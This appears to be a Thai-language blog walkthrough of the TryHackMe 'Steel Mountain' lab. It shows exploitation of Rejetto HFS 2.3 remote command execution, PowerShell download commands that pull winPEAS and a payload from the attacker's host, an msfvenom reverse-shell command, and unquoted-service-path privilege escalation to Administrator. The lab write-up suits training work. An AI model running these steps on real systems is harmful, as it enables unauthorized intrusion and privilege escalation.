Steel Mountain — Walkthrough (TryHackMe)

Datafarm
4 min readNov 9, 2023

สวัสดีครับ วันนี้ผมจะพาไปทำ Lab ของ TryHackMe ข้อ Steel Mountain ซึ่งเป็นโจทย์ระดับที่ไม่ยากมากจนเกินไปนะครับ และมี OS (Operation System) เป็น Window ซึ่งก่อนที่เราจะเล่น Lab นี้จะต้องทำการ Connect VPN ของ TryHackMe ก่อนนะครับ

รอสักครู่… เพื่อให้โจทย์แสดง IP Adress ของเครื่องเป้าหมายที่เราจะทำการโจมตีนะครับ

เริ่มจากขั้นตอนการ Enumeration ด้วย Tool ที่ชื่อว่า nmap นะครับ

โดยคำสั่งที่เราใช้จะใช้ดังนี้ครับ

sudo nmap -A -T4 -p- 10.10.50.130

-A เพื่อทำให้สามารถรวจสอบประเภทของ os ได้ การตรวจหาเวอร์ชัน การสแกนสคริปต์ และการติดตาม traceroute

-p- สแกนพอร์ตทั้งหมด

-T4 ทำให้การสแกนเร็วขึ้น

จากผลการสแกนจะพบว่ามีพอร์ตที่เปิดอยู่หลายพอร์ตมาก แต่พอร์ตที่เราสังเกตเห็นได้ คือพอร์ต 8080 ที่ซึ่งมี hsf version 2.3

หลังจากนั้นเราจึงใช้คำสั่ง searchsploit เพื่อค้นหา vulnerability ซึ่งช่องโหว่ที่พบคือ

“Rejetto HTTP File Server (HFS) 2.3.x — Remote Command Execution”

และขั้นตอนต่อไปที่เราต้องทำคือการนำตัว Exploit นี้มาใช้งานนั่นเอง!!!

โดยใช้คำสั่ง locate เพื่อทำการค้นหา Exploit ของเราซึ่งจะมีให้ภายใน kali linux อยู่แล้วนั่นเอง

เมื่อเราค้นหาเจอเราจะทำการ copy ไฟล์นั้นมาใช้งาน

ไฟล์ที่เราทำการ copy มาจะอยู่ในโฟลเดอร์ที่เราใส่ไปในขั้นตอนข้างต้น

เมื่อเราได้ script ที่เราต้องการแล้วขั้นตอนต่อไปนี้สำคัญมากนะครับคือ เราต้องแก้ไขในส่วนของ IP,Port ภายใน script ที่เราพึ่งได้รับมา

ด้วยคำสั่ง

nano 39161.py

ในส่วนของ ip และ port นั้นให้ใส่ listen ip และ port ของเราเพื่อทำการรับค่าที่จะส่งกลับมานะครับ ดังรูป

หลังจากนั้นเราจะทำการไปโหลด Winpeas.exe และ nc.exe มาก่อนพื่อใช้ในขั้นตอนหลังจากนี้

(Source winPEAS: https://github.com/carlospolop/PEASS-ng/releases/tag/20231105-d387d97f )

(Source nc.exe: https://github.com/int0x33/nc.exe/blob/master/nc.exe )

และเราจะทำการเปิด server python เพื่อให้สามารถโหลดไฟล์ Winpeas จาก kali ของเราเข้าไปที่เครื่องเป้าหมาย

จากนั้นให้เราทำการเปิด netcat listener และ Run exploit ที่เราได้มาจากขั้นตอนก่อนหน้านี้

ทำการ Run exploit และใช้คำสั่ง systeminfo เพื่อดูขอมูลต่าง ๆ ของระบบ

หลังจากที่เราสามารถเข้ามาในเครื่องเป้าหมายได้สำเร็จเราก็จะเจอกับ Flag อันแรกที่เราตามหา!!!

และขั้นตอนต่อไปคือขั้นตอนที่ทุกคนรอคอยนั่นคือการ Privilege Escalation ด้วย winpeas นั่นเอง

เราจะใช้คำสั่งด้านล่างเพื่อ Download winpeas จาก server python ที่เราเปิดไว้ในขั้นตอนก่อนหน้านี้

powershell -c “Invoke-WebRequest -Outfile winPEAS.exe http://10.4.21.102/winPEASx64.exe"

เราจะรู้ได้ยังไงว่าเราโหลดเข้ามาสำเร็จมั้ย???

ให้เราเข้าไปเช็กที่ server ที่เราเปิดไว้นั่นเอง ถ้าขึ้นดังรูปด้านล่างนั่นแปลว่าสำเร็จครับ

หลังจากนั้นให้เราทำการ Run ตัว winPEAS ที่เราทำการโหลดมา

(เกร็ดความรู้เล็กน้อย ๆ winPEAS คืออะไร???

เป็น automate tools ในการ enumerate target ว่ามีข้อมูลไหนบ้างที่สามารถช่วยในการทำการยกระดับสิทธิได้ โดยบนเครื่อง target นั้นก็มี tools นี้อยู่แล้ว จึงสามารถทำการรันได้เลย)

เมื่อทำการใช้ winPEAS เสร็จเราจะพบว่ามี service ที่สามารถทำการ Privilege ได้

(ช่องโหว่นี้คือ unquoted service path เป็นช่องโหว่ที่ช่วยในการเพิ่มระดับสิทธิ์ให้แก่ผู้โจมตีให้สิทธิ์เป็นผู้ดูแลระบบโดยใช้ข้อผิดพลาดของโปรแกรมที่มีสิทธิ์ของผู้ดูแลระบบอยู่แล้วเป็นตัวช่วยครับ)

ให้เราทำการเข้าไปตรวจสอบ service นั้นตาม path ที่ได้มาจากการใช้ winPEAS ได้เลยครับ

หลังจากนั้นเราจะทำการสร้าง Payload จาก msfvenom กันครับเพื่อทำการ reverse shell ออกมาทำการ Privilege

msfvenom -p windows/shell_reverse_tcp LHOST=10.4.21.102 LPORT=1234 -f exe -o ASCService.exe

หลังจากนั้นให้เราทำการใช้คำสั่ง netcat เพื่อเปิด listener port เพื่อรอรับ shell ที่เราจะทำการส่งเข้าไปในระบบของเป้าหมายในขั้นตอนถัดไปครับ

Nc -lvnp 1234

ขั้นตอนต่อไปให้เราไปทำการ Stop service ของ AdvancedSystemCareService9 ด้วยคำสั่ง

sc stop AdvancedSystemCareService9

เมื่อเราทำการ Stop service เสร็จแล้วให้เราทำการ Download ตัว payload ที่เราทำการสร้างไว้ผ่าน server python ที่เปิดไว้

ด้วยคำสั่ง

powershell -c “Invoke-WebRequest -OutFile ASCService.exe http://10.4.21.102/ASCService.exe"

ให้เรากลับไปตรวจสอบที่ server python ที่เราได้ทำการเปิดไว้ว่า Download สำเร็จหรือไม่

เรียบร้อยครับสามารถทำการ Download สำเร็จ

ขั้นตอนต่อไปคือขั้นตอนสุดท้ายหลังจากที่เราได้ทำทุกอย่างถามขั้นตอนที่ผ่านมาทั้งหมด นั่นคือการใช้ payload ที่เราได้สร้างขึ้นมาผ่าน msfvenom เพื่อทำให้เรานั้นมีสิทธิสูงขึ้นเพื่อตามหา Flag อันสุดท้ายนั่นเอง!!!!!

หลังจากนั้นเราจะใช้คำสั่ง

sc start AdvancedSystemCareService9

เพื่อทำการเปิด service นี้อีกรอบหลังจากนั้นตัว payload ที่เราทำการโหลดเข้ามาจะทำงานและส่ง shell ไปยัง listener port ที่เราทำการเปิดไว้ครับ

หลังจากที่ได้มาแล้วเราก็ทำการเช็คสิทธิของเราได้เลยด้วยคำสั่ง

Whoami

เราจะพบว่าสิทธิของเรานั้นต่างออกไปจากก่อนหน้านี้ซึ่งมีสิทธิสูงกว่าครับ

หลังจากนั้นให้เราเข้าไปที่ C:\Users\Administrator\Desktop ดังรูปด้านล่างครับ

หลังจากนั้นให้เราทำการใช้คำสั่ง dir เพื่อทำการตรวจสอบไฟล์ภายในว่ามีไฟล์ที่เรากำลังตามหาอยู่มั้ย???

Gotcha!!!

จากรูปด้านบนเราจะเห็นได้ว่าภายใน Desktop นั้นมีไฟล์ที่เก็บ flag อันสุดท้ายไว้นั่นก็คือ root.txt หลังจากนั้นก็ให้เพื่อนๆสามารถใช้คำสั่ง type แล้วตามด้วยชื่อไฟล์ได้เลย

type root.txt

ในที่สุดเราก็จะพบกับไฟล์ที่เราตามหาและสิ่งที่อยู่ข้างในนั้นก็คือ “flag” นั่นเอง!!!!

เป็นยังไงกันบ้างครับมันไม่ยากเลยใช่มั้ยครับกับการที่เราจะสามารถ hack เข้าไปในเครื่องของใครซักคนแล้วทำการ privilege ให้ตัวเองมีสิทธิสูงขึ้น แต่ในชีวิตจริงมันจะไม่ง่ายเหมือนใน lab ที่เราทำมาเพราะจะมีการป้องกันอีกหลายรูปแบบมาก ๆ ทำให้การที่เราจะสามารถ hack หรือ โจมตีคน ๆ นึงนั้นเป็นไปได้ค่อนข้างยาก สำหรับวันนี้ผมขอตัวลาไปก่อน ไว้พบกันรอบหน้า

Enjoy Hacking ครับ!!!

--

--

No responses yet